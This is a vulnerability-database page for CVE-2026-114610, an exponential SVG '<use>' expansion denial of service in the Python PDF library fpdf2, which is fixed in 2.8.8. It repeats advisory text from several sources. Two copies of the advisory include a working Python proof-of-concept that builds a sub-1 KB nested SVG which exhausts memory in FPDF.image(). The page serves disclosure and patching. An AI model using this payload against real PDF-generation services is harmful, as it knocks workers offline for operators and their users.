Every CVE Search/ Get API key

CVE-2026-114610

fpdf2: Exponential SVG '<use>' expansion causes CPU and memory exhaustion in 'FPDF.image()'

6.5 MediumFix available

fpdf2 is a PDF creation library for Python. From 2.5.0 until 2.8.8, fpdf2's SVGObject.build_xref() passes nested SVG <use> references to GraphicsContext.add_item(), whose default clone=True deep-copy behavior copies the complete referenced graphics tree during FPDF.image() processing. Repeating references at each nesting level makes the in-memory object count and processing work grow exponentially, allowing a small user-controlled SVG to consume excessive CPU and memory, raise MemoryError, fail PDF generation jobs, and reduce or exhaust worker capacity. ResourceAccessPolicy does not prevent the issue because the references are inline and require no external resource, XML entity, local file, or permissive network setting. This issue is fixed in version 2.8.8.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

0.46%Up 0.2 points since Oct 23, 2026
90%50%10%1%

What each source reports

CVE List Score used 6.5

fpdf2: Exponential SVG '<use>' expansion causes CPU and memory exhaustion in 'FPDF.image()'

fpdf2 is a PDF creation library for Python. From 2.5.0 until 2.8.8, fpdf2's SVGObject.build_xref() passes nested SVG <use> references to GraphicsContext.add_item(), whose default clone=True deep-copy behavior copies the complete referenced graphics tree during FPDF.image() processing. Repeating references at each nesting level makes the in-memory object count and processing work grow exponentially, allowing a small user-controlled SVG to consume excessive CPU and memory, raise MemoryError, fail PDF generation jobs, and reduce or exhaust worker capacity. ResourceAccessPolicy does not prevent the issue because the references are inline and require no external resource, XML entity, local file, or permissive network setting. This issue is fixed in version 2.8.8.

Record
CVE-2026-114610
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400, CWE-770
Updated
2026-11-02
EUVDEUVD-2026-108262 6.5

fpdf2 is a PDF creation library for Python. From 2.5.0 until 2.8.8, fpdf2's SVGObject.build_xref() passes nested SVG <use> references to GraphicsContext.add_item(), whose default clone=True deep-copy behavior copies the complete referenced graphics tree during FPDF.image() processing. Repeating references at each nesting level makes the in-memory object count and processing work grow exponentially, allowing a small user-controlled SVG to consume excessive CPU and memory, raise MemoryError, fail PDF generation jobs, and reduce or exhaust worker capacity. ResourceAccessPolicy does not prevent the issue because the references are inline and require no external resource, XML entity, local file, or permissive network setting. This issue is fixed in version 2.8.8.

Record
EUVD-2026-108262
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-wqw6-wpr3-45rh 6.5

fpdf2: Exponential SVG '<use>' expansion causes CPU and memory exhaustion in 'FPDF.image()'

Summary

fpdf2 expands SVG <use> references by deep-copying the complete referenced graphics tree. A small SVG can use nested references to make the number of in-memory objects grow exponentially, causing excessive CPU and memory consumption during FPDF.image() processing.

This was reproduced with an 895-byte SVG on fpdf2 2.8.7. Under a 128 MB process limit, the input kept the process busy for about 14 seconds before raising MemoryError.

Details

The issue is in fpdf2's own SVG reference handling. It does not rely on XML entities, external URLs, local files, or vulnerable behavior in another dependency.

When fpdf2 resolves an SVG reference, SVGObject.build_xref() passes the referenced object to GraphicsContext.add_item():

pdf_group.add_item(self.cross_references[ref])

GraphicsContext.add_item() uses clone=True by default and deep-copies the object:

def add_item(self, item, clone=True):
    if clone:
        item = deepcopy(item)
    self.path_items.append(item)

An attacker can define g1 as eight references to g0, g2 as eight references to g1, and so on. Each level adds only a small amount of XML, but fpdf2 copies the entire tree from the previous level eight times. The resulting work grows approximately as 8^n.

ResourceAccessPolicy does not prevent this behavior because the SVG contains only inline objects and does not request any external resource. The same failure was reproduced on development commit a3307f96a0d165831029b3fb644aee5a7ca03328 with ResourceAccessPolicy.NONE.

PoC

This was tested on Linux with Python 3.13.5. The script applies a 128 MB address-space limit so the process fails safely instead of consuming all available system memory.

import resource
import time

from fpdf import FPDF


groups = ['<g id="g0"><rect width="1" height="1"/></g>']
for level in range(1, 6):
    uses = f'<use href="#g{level - 1}"/>' * 8
    groups.append(f'<g id="g{level}">{uses}</g>')

svg = (
    '<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">'
    '<defs>' + "".join(groups) + '</defs><use href="#g5"/></svg>'
).encode()

pdf = FPDF()
pdf.add_page()

limit = 128 * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

print(f"payload size: {len(svg)} bytes")
started = time.perf_counter()

try:
    pdf.image(svg, w=10)
except MemoryError:
    elapsed = time.perf_counter() - started
    max_rss = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
    print(f"MemoryError after {elapsed:.3f}s, max RSS: {max_rss} KiB")
payload size: 895 bytes
MemoryError after 14.336s, max RSS: 115596 KiB

Execution time varies by machine, but the process should show heavy resource use and fail at the configured memory limit.

Impact

This is an uncontrolled resource consumption vulnerability affecting applications that pass user-controlled SVG data to FPDF.image(). A single crafted image can occupy a PDF generation worker for several seconds and then make the current job fail with MemoryError. Submitting the same input concurrently repeats the CPU and memory cost across the available workers, reducing or exhausting the service's PDF generation capacity.

The payload is less than 1 KB and requires no external resource access, XML entities, special network configuration, or permissive fpdf2 settings.

Record
GHSA-wqw6-wpr3-45rh
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400
Updated
2026-11-02
NVD 6.5

fpdf2 is a PDF creation library for Python. From 2.5.0 until 2.8.8, fpdf2's SVGObject.build_xref() passes nested SVG <use> references to GraphicsContext.add_item(), whose default clone=True deep-copy behavior copies the complete referenced graphics tree during FPDF.image() processing. Repeating references at each nesting level makes the in-memory object count and processing work grow exponentially, allowing a small user-controlled SVG to consume excessive CPU and memory, raise MemoryError, fail PDF generation jobs, and reduce or exhaust worker capacity. ResourceAccessPolicy does not prevent the issue because the references are inline and require no external resource, XML entity, local file, or permissive network setting. This issue is fixed in version 2.8.8.

Record
CVE-2026-114610
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400, CWE-770
Updated
2026-11-02
OSV 6.5

fpdf2: Exponential SVG '<use>' expansion causes CPU and memory exhaustion in 'FPDF.image()'

fpdf2 is a PDF creation library for Python. From 2.5.0 until 2.8.8, fpdf2's SVGObject.build_xref() passes nested SVG <use> references to GraphicsContext.add_item(), whose default clone=True deep-copy behavior copies the complete referenced graphics tree during FPDF.image() processing. Repeating references at each nesting level makes the in-memory object count and processing work grow exponentially, allowing a small user-controlled SVG to consume excessive CPU and memory, raise MemoryError, fail PDF generation jobs, and reduce or exhaust worker capacity. ResourceAccessPolicy does not prevent the issue because the references are inline and require no external resource, XML entity, local file, or permissive network setting. This issue is fixed in version 2.8.8.

Record
CVE-2026-114610
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400, CWE-770
Updated
2026-11-02
OSVDEBIAN-CVE-2026-114610 6.5

fpdf2 is a PDF creation library for Python. From 2.5.0 until 2.8.8, fpdf2's SVGObject.build_xref() passes nested SVG <use> references to GraphicsContext.add_item(), whose default clone=True deep-copy behavior copies the complete referenced graphics tree during FPDF.image() processing. Repeating references at each nesting level makes the in-memory object count and processing work grow exponentially, allowing a small user-controlled SVG to consume excessive CPU and memory, raise MemoryError, fail PDF generation jobs, and reduce or exhaust worker capacity. ResourceAccessPolicy does not prevent the issue because the references are inline and require no external resource, XML entity, local file, or permissive network setting. This issue is fixed in version 2.8.8.

Record
DEBIAN-CVE-2026-114610
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVGHSA-wqw6-wpr3-45rh 6.5

fpdf2: Exponential SVG '<use>' expansion causes CPU and memory exhaustion in 'FPDF.image()'

Summary

fpdf2 expands SVG <use> references by deep-copying the complete referenced graphics tree. A small SVG can use nested references to make the number of in-memory objects grow exponentially, causing excessive CPU and memory consumption during FPDF.image() processing.

This was reproduced with an 895-byte SVG on fpdf2 2.8.7. Under a 128 MB process limit, the input kept the process busy for about 14 seconds before raising MemoryError.

Details

The issue is in fpdf2's own SVG reference handling. It does not rely on XML entities, external URLs, local files, or vulnerable behavior in another dependency.

When fpdf2 resolves an SVG reference, SVGObject.build_xref() passes the referenced object to GraphicsContext.add_item():

pdf_group.add_item(self.cross_references[ref])

GraphicsContext.add_item() uses clone=True by default and deep-copies the object:

def add_item(self, item, clone=True):
    if clone:
        item = deepcopy(item)
    self.path_items.append(item)

An attacker can define g1 as eight references to g0, g2 as eight references to g1, and so on. Each level adds only a small amount of XML, but fpdf2 copies the entire tree from the previous level eight times. The resulting work grows approximately as 8^n.

ResourceAccessPolicy does not prevent this behavior because the SVG contains only inline objects and does not request any external resource. The same failure was reproduced on development commit a3307f96a0d165831029b3fb644aee5a7ca03328 with ResourceAccessPolicy.NONE.

PoC

This was tested on Linux with Python 3.13.5. The script applies a 128 MB address-space limit so the process fails safely instead of consuming all available system memory.

import resource
import time

from fpdf import FPDF


groups = ['<g id="g0"><rect width="1" height="1"/></g>']
for level in range(1, 6):
    uses = f'<use href="#g{level - 1}"/>' * 8
    groups.append(f'<g id="g{level}">{uses}</g>')

svg = (
    '<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">'
    '<defs>' + "".join(groups) + '</defs><use href="#g5"/></svg>'
).encode()

pdf = FPDF()
pdf.add_page()

limit = 128 * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

print(f"payload size: {len(svg)} bytes")
started = time.perf_counter()

try:
    pdf.image(svg, w=10)
except MemoryError:
    elapsed = time.perf_counter() - started
    max_rss = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
    print(f"MemoryError after {elapsed:.3f}s, max RSS: {max_rss} KiB")
payload size: 895 bytes
MemoryError after 14.336s, max RSS: 115596 KiB

Execution time varies by machine, but the process should show heavy resource use and fail at the configured memory limit.

Impact

This is an uncontrolled resource consumption vulnerability affecting applications that pass user-controlled SVG data to FPDF.image(). A single crafted image can occupy a PDF generation worker for several seconds and then make the current job fail with MemoryError. Submitting the same input concurrently repeats the CPU and memory cost across the available workers, reducing or exhausting the service's PDF generation capacity.

The payload is less than 1 KB and requires no external resource access, XML entities, special network configuration, or permissive fpdf2 settings.

Record
GHSA-wqw6-wpr3-45rh
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
fpdf2
PyPI
2.5.0 up to 2.8.8
2.8.8
fpdf2
Debian:13
All versions, plus listed versions
2.8.3-12.8.3-1+deb13u12.8.4-12.8.4-22.8.7-12.8.7-22.8.8-12.8.9-1
None known
fpdf2
Debian:14
before 2.8.8-1, plus listed versions
2.8.3-12.8.4-12.8.4-22.8.7-12.8.7-2
2.8.8-1
fpdf2
PyPI
2.5.0 up to 2.8.8, plus listed versions
2.5.12.5.22.5.32.5.42.5.5
Show 21 moreShow less
2.5.62.5.72.6.02.6.12.7.02.7.12.7.22.7.32.7.42.7.52.7.62.7.72.7.82.7.92.8.12.8.22.8.32.8.42.8.52.8.62.8.7
2.8.8

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-114610 is a medium vulnerability (CVSS 6.5) in Py-pdf Fpdf2, published October 22, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.46%, the 39th percentile. Fixed in fpdf2 2.8.8.

References

MoveEnter Open